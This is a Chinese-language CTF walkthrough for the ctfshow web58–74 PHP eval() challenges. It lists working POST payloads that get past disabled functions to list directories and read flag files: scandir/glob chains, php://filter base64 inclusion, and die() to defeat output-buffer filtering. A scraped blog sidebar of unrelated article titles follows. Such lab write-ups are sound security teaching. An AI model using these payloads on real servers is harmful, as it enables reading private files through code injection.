都是 POST传递参数 执行 eval() 函数

web58

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

没有进行任何过滤

输入c=system(ls);

报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用

fgetss()被弃用

可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式

知识点

  1、读取目录函数:glob()、scandir()、dir()、readdir()

  2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()

  3、显示文件内容函数:show_source()、highlight_file()

  4、读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()

  5、无法直接读取文件函数:fpassthru()、fread()

  6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()

  7、文件包含函数:include()、include_once()、require()、require_once()

由于自身水平受限,仅知道以上函数,欢迎补充

payload

此处以 web58 为例,写了多种解法,后续的题都可参考

//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir("."))));  // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*")));  //glob("*")读出数组为 flag.php index.php //这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
//直接读取文件内容
c=highlight_file('flag.php');
c=show_source('falg.php'); //先读取,再输出,下列需要右击查看源代码
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
c=print_r(readfile('flag.php'));
c=print_r(php_strip_whitespace('flag.php')); //需要先打开文件,再读取内容,最后输出
c=fpassthru(fopen('flag.php','r'));
c=print_r(fread(fopen('flag.php','r'),1000)); //文件包含
c=include('flag.php');var_dump(get_defined_vars()); //文件包含传递伪协议
POST
c=include $_GET[1];
GET
1=php://filter/read=convert.base64-encode/resource=flag.php

然后对获取的字符进行base64解码

web59

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了

解法参考58

web60

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

禁用 file()、fpassthru()、fread()

解法参考58

web61

禁用fopen(),解法参考58

62-65

没测出禁用了啥,解法参考58

web66

禁用show_source()

假 flag

此处尝试查看其他目录,在根目录发现 flag.txt 文件

c=print_r(scandir("../../../"));

payload

c=highlight_file("../../../flag.txt");  // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../
c=highlight_file("/".pos(array_slice(scandir('/'),6,1)));  //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持

c=include('/flag.txt');  //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变

web67

禁用print_r(),可用var_dump()替代,同66

web68

禁用highlight_file()

var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容

 payload

c=var_dump(php_strip_whitespace('/flag.txt'));

web69

禁用var_dump()

常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()

payload

c=printf(php_strip_whitespace('/flag.txt'));
c=var_export(php_strip_whitespace('/flag.txt'));

web70

可以看见禁用了 error_reporting()、ini_set() 、highligth_file()

解法同69

web71

69 的两个 payload 依旧有效,但输出结果全被替换成 ?

在71关前附加了index.php文件

index.php文件

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
} ?> 你要上天吗?

两个都是涉及 php 的输出缓冲区

ob_get_contents():获取输出缓冲区内容

ob_end_clean():清除关闭缓冲区

利用 die()、exit() 终止程序,只执行下列代码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);

payload

//只需要在 69 的基础上加上die();
c=printf(php_strip_whitespace('/flag.txt'));die();
c=var_export(php_strip_whitespace('/flag.txt'));die(); c=include('/flag.txt');die();

web72

使用 glob:// 伪协议扫描根目录,需要使用uaf脚本,但看不懂

web73

//先查看目录
c=var_export(scandir('/'));die();
//获取flag
c=include('/flagc.txt');die();

web74

参考

https://www.php.cn/blog/detail/6095.html

https://blog.csdn.net/weixin_43197795/article/details/118113703

最新文章

  1. 剖析JavaScript函数作用域与闭包
  2. MAC中设置java环境变量和MAVEN
  3. js+css立体旋转
  4. Linux_记录ping命令的日志包括时间戳
  5. Java中数据类型转换问题
  6. Myeclipse 60.激活
  7. jquery 连写注释;siblings() 方法;jQuery 的3种滑动方法;slideUp()向上滑动;slideDown()向下滑动;slideToggle()来回滑动
  8. 自由树的计数 Labeled unrooted tree counting
  9. java中打开说明文档
  10. 文本挖掘预处理之TF-IDF
  11. python3 haproxy配置文件操作练习
  12. p112 the podocyte
  13. 洛谷.4245.[模板]任意模数NTT(MTT/三模数NTT)
  14. Luogu3209 HNOI2010 平面图判定 平面图、并查集
  15. PHP利用反射根据类名反向寻找类所在文件
  16. [UE4]UMG和关卡坐标变换、旋转小地图
  17. 阿里NLP总监分享-NLP技术的应用与思考
  18. [转]java中通过request获取路径中的不同信息
  19. 微信小程序-帝国cms会员系统调用
  20. 2) broadcast,这是启动完毕之后,集群中的服务器开始接收客户端的连接一起工作的过程,如果客户端有修改数据的改动,那么一定会由leader广播给follower,所以称为”broadcast”.

热门文章

  1. Nacos入门
  2. EPICS Archiver Appliance 单点极限储存速率测试
  3. 鼎阳SDS6204示波器的EPICS IOC调试
  4. Java基础语法:运算符、包机制、JavaDoc
  5. JZOJ 100019.A
  6. 用ChatGPT,绘制一个账号系统的C4架构图
  7. 03#Web 实战:实现下拉菜单
  8. Switchquery:移动端秒级配置触达平台
  9. java学习日记20230225-java介绍
  10. 常见的git操作